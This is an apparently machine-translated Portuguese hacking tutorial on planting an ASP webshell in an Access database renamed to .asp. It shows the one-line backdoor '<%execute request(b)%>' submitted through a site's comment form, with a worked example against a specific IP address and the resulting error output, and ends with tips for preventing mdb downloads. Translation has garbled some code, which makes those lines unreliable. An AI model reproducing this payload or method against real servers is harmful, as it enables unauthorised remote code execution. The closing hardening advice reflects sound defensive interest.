Talvez com o desenvolvimento da tecnologia de segurança de rede, a qualidade dos administradores esteja melhorando. Ao utilizar o sistema access+asp, para evitar o download do banco de dados, o mdb é alterado para asp ou asa. Não vamos falar sobre alterar o sufixo diretamente. Você pode baixá-lo diretamente usando ferramentas como o Internet Express. Na verdade, você já abriu a porta para intrusos. Os invasores podem usar o banco de dados com o sufixo asp/asa para obter diretamente o webshell.
um. Ideias
Todo mundo sabe que <%%> é o identificador de um arquivo asp, o que significa que um arquivo asp só executará o código entre <%%>. Todos os dados do sistema web access+asp são armazenados no arquivo de banco de dados (arquivo mdb). ), como o administrador alterou o arquivo mdb para um arquivo asp, se os dados que enviamos contiverem <%%>, quando acessarmos o banco de dados asp, o código entre <%%> será executado. Isso faz com que enviemos apenas códigos maliciosos para o banco de dados, portanto o banco de dados com o sufixo asp é nosso webshell.
dois. Exemplo
Basta encontrar um alvo. Primeiro, vamos verificar o banco de dados para ver se ele tem um sufixo asp: http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
retornar:
Copie o código do código da seguinte forma:
Erro de erro do compilador Microsoft VBScript '800a03f6'
'Fim' está faltando
/iisHelp/common/500-100.asp, linha 242
Erro do mecanismo de banco de dados Microsoft JET '80004005'
'D:/log_mdb/%29dlog_mdb%29.asp' não é um caminho válido. Determine se o nome do caminho está escrito corretamente e se você está conectado ao servidor onde o arquivo está armazenado.
/test/conn.asp, linha 18
Enviamos: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp retorna um monte de caracteres ilegíveis, para que possamos baixar diretamente o banco de dados usando ferramentas como o Internet Express (não discutiremos isso aqui). Voltamos à página inicial e vemos que existe uma função de comentários do internauta. Vamos nos registrar como usuário e postar um comentário:
<%executar solicitação(b)%>
Desta forma, escrevemos o código asp: <%execute request(b)%> no banco de dados, então o banco de dados: é nosso webshell. Envie: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp No final do código ilegível, vemos:
Copie o código do código da seguinte forma:
/iisHelp/common/500-100.asp, linha 242
Erro de tempo de execução do Microsoft VBScript '800a000d'
Incompatibilidade de tipo: 'executar'
/test/dlog/log_mdb/%29dlog_mdb%29.asp, linha 1266
Nota: Quando enviamos código ao banco de dados, o conteúdo do código não pode ser muito grande. Então usamos <%execute request(b)%>.
três. Algumas outras perguntas e ideias
1. Para o banco de dados que alterou o sufixo para asp e adicionou códigos asp ilegais como <%='a'-1%> ao banco de dados para impedir completamente o download, porque contém códigos asp ilegais, após inserir nosso código webshell em execução ele exibirá apenas o erro do código ilegal anterior sem executar o código do nosso shell. Embora isso possa evitar certos ataques, ainda existem alguns perigos ocultos, desde que adicionemos código compatível com erros antes do código de erro, podemos exibir e executar corretamente o código webshell que inserimos.
2. Para aqueles arquivos que não alteraram o sufixo, ou seja, arquivos mdb, podemos baixá-los diretamente para obter a senha de background. Após inserir o background, podemos usar o backup do banco de dados para alterar o sufixo para asp.
Resumo dos métodos anti-download do mdb
1: No iis6, se uma extensão não for definida, um erro 404 de arquivo não encontrado aparecerá ao acessar.
Portanto, você pode nomear arbitrariamente o banco de dados com um nome de arquivo que nunca parecerá obter um efeito seguro, como: xxxxx.xxxxxxxxxxx
2 Se a base de dados for colocada fora do site, nunca estará acessível. Por exemplo: e:/web/ é o seu site
Em seguida, coloque o banco de dados em e:/
3. Conforme mencionado acima, altere .mdb para .asp e ao mesmo tempo despeje em uma tabela especial contendo <% caracteres binários. Desta forma, ao acessar o arquivo, aparecerá um aviso de falta de caractere de fechamento do script.
4. Ou altere .mdb para .asp e abra-o com winhex ao mesmo tempo. Você pode descobrir que há uma longa parte da string 00 após 176. Você também pode impedir o download, alterando-o para um trecho de código asp à vontade. , o que não afetará a função do banco de dados. Por exemplo:
<%
resposta.write(acesso ilegal)
resposta.end()
%>
Agora adicionar # e espaços no nome do banco de dados será quebrado. Por exemplo, # = <%35 e espaços = <%20.
Portanto, não é mais útil usá-los agora. .
Se for seu próprio servidor, configure-o no IIS:
Crie um novo arquivo DLL em branco e adicione o mapeamento no IIS. Selecione a DLL que você acabou de criar como arquivo executável, preencha .mdb como extensão, salve e reinicie o serviço IIS.